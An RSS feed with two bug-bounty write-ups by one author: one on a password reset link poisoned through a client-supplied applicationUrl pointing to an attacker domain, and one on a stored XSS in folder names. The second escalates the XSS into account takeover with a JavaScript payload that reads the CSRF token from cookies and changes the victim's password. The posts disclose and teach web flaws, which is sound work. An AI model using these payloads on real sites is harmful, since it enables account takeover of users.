<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Mohamed Zain</title>
    <description>The latest articles on Forem by Mohamed Zain (@mo_zain).</description>
    <link>https://forem.com/mo_zain</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3607546%2Fb4ad438f-bf1d-41fe-bcab-3befd50eb653.jpeg</url>
      <title>Forem: Mohamed Zain</title>
      <link>https://forem.com/mo_zain</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/mo_zain"/>
    <language>en</language>
    <item>
      <title>How I Earned $1000 from a Password Reset Vulnerability</title>
      <dc:creator>Mohamed Zain</dc:creator>
      <pubDate>Mon, 17 Nov 2025 16:33:22 +0000</pubDate>
      <link>https://forem.com/mo_zain/how-i-earned-1000-from-a-password-reset-vulnerability-299h</link>
      <guid>https://forem.com/mo_zain/how-i-earned-1000-from-a-password-reset-vulnerability-299h</guid>
      <description>&lt;p&gt;This is a minor but interesting vulnerability,  Let me describe how it works in the password reset feature.&lt;br&gt;
Password reset functionalities are among the most sensitive features in any web application. A small mistake in how the reset link is constructed can easily lead to account takeover vulnerabilities.&lt;br&gt;
In this article, I will walk you through a real world vulnerability I found on involving a parameter called &lt;code&gt;applicationUrl&lt;/code&gt; which allowed me to manipulate the password reset link and steal the reset token.&lt;br&gt;
The backend accepted a parameter named &lt;code&gt;applicationUrl&lt;/code&gt; which was supposed to define the base URL of the application.&lt;/p&gt;

&lt;p&gt;The problem? the server trusted whatever value was given in this field.&lt;br&gt;
This meant that I could inject any URL I wanted into the password reset link that gets emailed to the user.&lt;/p&gt;

&lt;p&gt;When I submitted a password reset request, the following POST request was sent:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /server.php HTTP/1.1
Host: 1337.com
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 268
Origin: https://1337.com
Connection: close
Referer: https://1337/login.php
Cookie: /*cookie*/

D={"C":"Gpf_Rpc_Server","M":"run","requests":[{"C":"Gpf_Auth_Service","M":"requestNewPassword","fields":[["name","value"],["Id",""],["username","email@email.com"],["lost_pw_captcha","F3F3"],["applicationUrl","https://zayn1337.com/"]]}],"S":"dvkegseu3erupmvpkc6u3t7k7i"}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I changed only one field: applicationUrl = &lt;code&gt;https://zayn1337.com&lt;/code&gt;  , the server didn’t reject it.&lt;br&gt;
When the victim receives the password reset email, the link inside is expected to look like this:&lt;br&gt;
&lt;code&gt;https://1337.com/reset?token=XYZ&lt;/code&gt;&lt;br&gt;
But because the server used my injected URL, the link became:&lt;br&gt;
&lt;code&gt;https://zayn1337.com/?token=XYZ&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The token is still generated by the real application.&lt;br&gt;
 But it is sent to my domain because I control the &lt;code&gt;applicationUrl&lt;/code&gt; parameter.&lt;br&gt;
Once the victim clicks the link, their browser sends the token directly to my server.&lt;/p&gt;

&lt;p&gt;Why This Happens?&lt;/p&gt;

&lt;p&gt;The backend should never trust any user input when constructing a security sensitive URL.&lt;br&gt;
In this case:&lt;br&gt;
The password reset link was dynamically built using client supplied data.&lt;br&gt;
No validation or whitelisting was performed.&lt;br&gt;
Developers likely intended &lt;code&gt;applicationUrl&lt;/code&gt; for customization, but accidentally exposed it to attackers&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftuot03p9vwsrg0imkesx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftuot03p9vwsrg0imkesx.png" alt=" " width="488" height="85"&gt;&lt;/a&gt;&lt;br&gt;
This vulnerability proves that small mistakes can create big security risks. I hope this writeup helps others.&lt;/p&gt;

</description>
      <category>security</category>
      <category>career</category>
      <category>backend</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>From Post to Pwned: How Stored Cross-Site Scripting (Stored XSS) Can Lead to Account Takeover</title>
      <dc:creator>Mohamed Zain</dc:creator>
      <pubDate>Fri, 14 Nov 2025 05:18:20 +0000</pubDate>
      <link>https://forem.com/mo_zain/from-post-to-pwned-how-stored-cross-site-scripting-stored-xss-can-lead-to-account-takeover-2op7</link>
      <guid>https://forem.com/mo_zain/from-post-to-pwned-how-stored-cross-site-scripting-stored-xss-can-lead-to-account-takeover-2op7</guid>
      <description>&lt;p&gt;This is a simple vulnerability, but I still want to write about it, hope it helps.&lt;/p&gt;

&lt;p&gt;Let me describe the page that has the bug, the Library Files page.&lt;/p&gt;

&lt;p&gt;On the Library Files page, users can create and name folders. The issue is that folder names are stored and rendered as raw HTML, which means an attacker can inject a script into a folder name, and it will execute in the browser of anyone who views the file listing.&lt;/p&gt;

&lt;p&gt;However, there’s an additional detail:&lt;br&gt;
If the payload is added only in the folder name, the &lt;code&gt;XSS&lt;/code&gt; will not trigger immediately because folder names are not displayed in a way that executes HTML.&lt;/p&gt;

&lt;p&gt;But if the attacker uploads a file inside that folder, the system displays the file as a card component, and during this rendering process, the malicious folder name’s HTML is executed, successfully triggering the &lt;code&gt;XSS&lt;/code&gt; payload.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /libraryFileUpload HTTP/2
Host: www.1337.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c
Content-Length: 1337
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=4
Te: trailers


------geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c
Content-Disposition: form-data; name="theFileSet[]"; filename="Personal.png"
Content-Type: image/png

png
------geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c
Content-Disposition: form-data; name="folder"

xss" onmouseover="alert('xss')" z="
------geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In my case, the website filters out any payload that includes HTML tags such as &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;. Since the payload is already injected inside an existing &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag without any additional markup from my side, I used an event handler like &lt;code&gt;onmouseover&lt;/code&gt; to trigger the &lt;code&gt;XSS&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Bright lights here, dim bulbs there: there’s a feature that lets you reassign ownership of own file to another user in the same group. So an attacker can create a folder with the malicious name, then reassign that folder to a specific target. The payload is delivered straight into the victim’s library guaranteed delivery, no social engineering needed.&lt;/p&gt;

&lt;p&gt;If you discover an &lt;code&gt;XSS&lt;/code&gt; vulnerability, always try to escalate the severity. Most attackers only write proof of concept with &lt;code&gt;alert(document.cookie)&lt;/code&gt;, but if the website uses &lt;code&gt;HttpOnly&lt;/code&gt; cookies, this won’t work. Instead, you should try performing real actions through the payload, such as changing the user’s email or password, adding a user to a team, or triggering any sensitive operation that the victim is authorized to perform.&lt;/p&gt;

&lt;p&gt;I noticed that the password-change request did not require the current password, so I captured that request and embedded it directly into the &lt;code&gt;JS&lt;/code&gt; payload. There was one issue, the request included a &lt;code&gt;CSRFToken&lt;/code&gt;. However, after analyzing it, I found that the token was taken from the cookies, which makes it easy to access using &lt;code&gt;JS&lt;/code&gt;, allowing the payload to bypass the &lt;code&gt;CSRF&lt;/code&gt; protection.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
    return '';
}


const csrfToken = getCookie('CSRFToken');


const data = new URLSearchParams({
    changingPassword: 'true',
    password: '****',
    password2: '****',
    CSRFToken: csrfToken,
   ''
});

fetch('https://www.1337.com/updateUserProfile', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
        'X-Requested-With': 'XMLHttpRequest'
    },
    body: data.toString(),
    credentials: 'include'
})
.then(response =&amp;gt; response.text())
.then(result =&amp;gt; console.log(result))
.catch(error =&amp;gt; console.error('Error:', error));
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alhamdulillah, this is how I found an &lt;code&gt;XSS&lt;/code&gt; vulnerability in a simple way and successfully completed the process.&lt;/p&gt;

&lt;p&gt;Appreciate you reading all the way through. Catch you in the next article!&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>xss</category>
    </item>
  </channel>
</rss>
